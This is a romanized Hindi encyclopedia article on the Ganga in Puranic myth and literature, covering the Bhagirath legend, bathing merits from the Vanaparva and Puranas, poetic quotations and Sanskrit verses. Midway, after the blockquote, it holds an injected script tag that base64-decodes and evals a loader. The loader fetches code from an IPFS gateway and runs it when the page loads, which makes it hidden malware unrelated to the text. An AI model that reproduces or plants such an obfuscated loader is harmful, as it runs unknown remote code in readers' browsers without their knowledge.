पुराण और साहित्य में गंगा
ganga nadi ke sath anek pauranik kathaean ju di huee haian. mithakoan ke anusar brahma ne vishnu ke pair ke pasine ki booandoan se ganga ka nirman kiya. trimoorti ke do sadasyoan ke sparsh ke karan yah pavitr samajha gaya. ek any katha ke anusar raja sagar ne jaduee roop se sath hazar putroan ki prapti ki.[1] ek din raja sagar ne devalok par vijay prapt karane ke liye ek yajn kiya. yajn ke liye gho da avashyak tha jo eershyalu iandr ne chura liya tha. sagar ne apane sare putroan ko gho de ki khoj mean bhej diya aant mean unhean gho da patal lok mean mila jo ek rrishi ke samip bandha tha. sagar ke putroan ne yah soch kar ki rrishi hi gho de ke gayab hone ki vajah haian unhoanne rrishi ka apaman kiya. tapasya mean lin rrishi ne hazaroan varsh bad apani aankhean kholi aur unake krodh se sagar ke sabhi sath hazar putr jal kar vahian bhasm ho gaye.[2] sagar ke putroan ki atmaean bhoot banakar vicharane lagian kyoanki unaka aantim sanskar nahian kiya gaya tha. sagar ke putr aanshuman ne atmaoan ki mukti ka asaphal prayas kiya aur bad mean aanshuman ke putr dilip ne bhi. bhagirath raja dilip ki doosari patni ke putr the. unhoanne apane poorvajoan ka aantim sanskar kiya. unhoanne ganga ko prithvi par lane ka pran kiya jisase unake aantim sanskar kar, rakh ko gangajal mean pravahit kiya ja sake aur bhatakati atmaean svarg mean ja sakean. bhagirath ne brahma ki ghor tapasya ki taki ganga ko prithvi par laya ja sake. brahma prasann huye aur ganga ko prithvi par bhejane ke liye taiyar huye aur ganga ko prithvi par aur usake bad patal mean jane ka adesh diya taki sagar ke putroan ki atmaoan ki mukti sanbhav ho sake. tab ganga ne kaha ki maian itani ooanchaee se jab prithvi par girooangi, to prithvi itana veg kaise sah paegi? tab bhagirath ne bhagavan shiv se nivedan kiya, aur unhoanne apani khuli jataoan mean ganga ke veg ko rok kar, ek lat khol di, jisase ganga ki aviral dhara prithvi par pravahit huee. vah dhara bhagirath ke pichhe-pichhe ganga sagar sangam tak gee, jahaan sagar-putroan ka uddhar hua. shiv ke sparsh se ganga aur bhi pavan ho gayi aur prithvi vasiyoan ke liye bahut hi shraddha ka kendr ban gayian. puranoan ke anusar svarg mean ganga ko mandakini aur patal mean bhagirathi kahate haian. isi prakar ek pauranik katha raja shaantanu aur ganga ke vivah tatha unake sat putroan ke janm ki hai.
vanaparv mean ganga
isake bhautik tatha adhyatmik donoan roopoan ki or vidvanoan ne sanket kiye hai. at: ganga ka bhautik roop ke sath ek paramarthik roop bhi hai. vanaparv ke anusar yadyapi kurukshetr mean snan karake manushy puny ko prapt kar sakata hai, par kanakhal aur prayag ke snan mean apekshakrit adhik visheshata hai. prayag ke snan ko sabase adhik pavitr mana gaya hai. yadi koee vyakti saik doan pap karake bhi ganga (prayag) mean snan kar le to usake sabhi pap dhul jate haian. isamean snan karane ya isaka jal pine se poorvajoan ki satavian pidhi tak pavitr ho jati hai. gangajal manushy ki asthiyoan ko jitani hi der tak sparsh karata hai use utani hi adhik svarg mean prasannata ya pratishtha prapt hoti hai. jin-jin sthanoan se hokar ganga bahati hai un sthanoan ko isase sanbaddh hone ke karan poorn pavitr mana gaya hai.
|
chitr:Blockquote-open.gif ganga tumari saanch b daee. ek sagar-sut-hit jag aee tarayau॥ nam let jal piat ek tum tarat kul akulaee. 'harichandr' yahi tean to siv rakhi sis chadhaee॥ -bharatendu harishchandr (krishna-charitr, 37) ganga ki pavitrata mean koee vishvas nahian karane jata. ganga ke nikat pahuanch jane par anayas, vah vishvas pata nahian kahaan se a jata hai. -lakshminarayan mishr (garu dadhvaj, pri0 79)
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- gita[3]mean bhagavanh shrikrishna ne apane ko nadiyoan mean ganga kaha hai.
- manusmriti[4]mean ganga aur kurukshetr ko sabase adhik pavitr sthan mana gaya hai.
- puranoan mean ganga ki tin dharaoan ka ullekh haian—svargaganga (mandakini), bhooganga (bhagirathi) aur patalaganga (bhogavati). puranoan mean bhagavanh vishnu ke bayean charan ke aangoothe ke rakh se ganga ka janm aur bhagavanh shankar ki jataoan mean usaka vilayan bataya gaya hai.
- vishnupuran[5]mean likha hai ki ganga ka nam lene, sunane, use dekhane, usaka jal pine, sparsh karane, usamean snan karane matr se sau yojan se bhi 'ganga' nam ka uchcharan karane matr se manushy ke tin janmoan tak ke pap nasht ho jate haian.
- bhavishyapuran[6]mean bhi yahi kaha hai.
- matsy, garu d aur padmapuranoan ke anusar haridvar, prayag aur ganga ke samudrasangam mean snan karane se manushy karane par svarg pahuanch jata hai aur phir kabhi utpann nahian hota. use nirvan ki prapti ho jati hai. manushy ganga ke mahattv ko manata ho ya n manata ho yadi vah ganga ke samip laya jay aur vahian mrityu ko prapt ho to bhi vah svarg ko jata hai aur narak nahian dekhata.
- varahapuran[7]mean ganga ke nam ko 'gamh gata' (jo prithvi ko chali gayi hai) ke roop mean vivechit kiya gaya hai.
- padmapuran[8]ke anusar ganga sabhi prakar ke patitoan ka uddhar kar deti hai. kaha jata hai ki ganga mean snan karate samay vyakti ko ganga ke sabhi namoan ka uchcharan karana chahie. use jal tatha mitti lekar ganga se yachana karani chahie ki ap mere papoan ko door kar tinoan lokoan ka uttam marg prashast karean. buddhimanh vyakti hath mean darbh lekar pitaroan ki santushti ke lie ganga se prarthana kare. isake bad use shraddha ke sath soory bhagavanh ko kamal ke phool tatha akshat ityadi samarpan karana chahie. use yah bhi kahana chahie ki ve usake doshoan ko door karean.
- kashikhand[9]mean kaha gaya hai ki jo log ganga ke tat par kh de hokar doosare tirthoan ki prashansa karate hai aur apane man mean uchch vichar nahian rakhate, ve narak mean jate haian. kashikhand[10]mean yah bhi kaha gaya hai ki shukl pratipada ko gangasnan nityasnan se sau guna, sankranti ka snan sahastr guna, chandr-sooryagrahan ka snan lakh guna labhadayak hai. chandragrahan somavar ko tatha sooryagrahan ravivar ko p dane par us din ka gangasnan asankhy guna punyakarak hai.
bhavishyapuran mean ganga ke nimnaankit roop ka dhyan karane ka vidhan hai:
sitamakaranishannaan shuklavarnaan trinetramh
karadhritakamalodyatsootpalaabhityabhishtamh .
vidhiharihararoopaan sendukotirachoodamh
kalitasitadukoolaan jahnavian taan namami ॥[11]
ganga ke smaran aur darshan ka bahut b da phal batalaya gaya hai:
drashtatu harate papan sprishta tu tridivan nayeth.
prasageannapi ya ganga mokshada tvavagahita ॥[12]
|
|
|
|
|
|
sandarbh
- ↑ ganga - iandiya vatar portal iandiya vatar portal. abhigaman tithi: joon 14, 2009.
- ↑ bhagirath aur ganga (ech.ti.em.el) spirichual indiya (14).
- ↑ gita 10.31
- ↑ manusmriti 8.92
- ↑ vishnupuran 2.8.120-121
- ↑ bhavishyapuran prishth 9,12 tatha 198
- ↑ varahapuran adhyay 82
- ↑ padmapuran srishtikhand, 60.35
- ↑ kashikhand 27.80
- ↑ kashikhand 27.129-131
- ↑ bhavishyapuran
- ↑ bhavishyapuran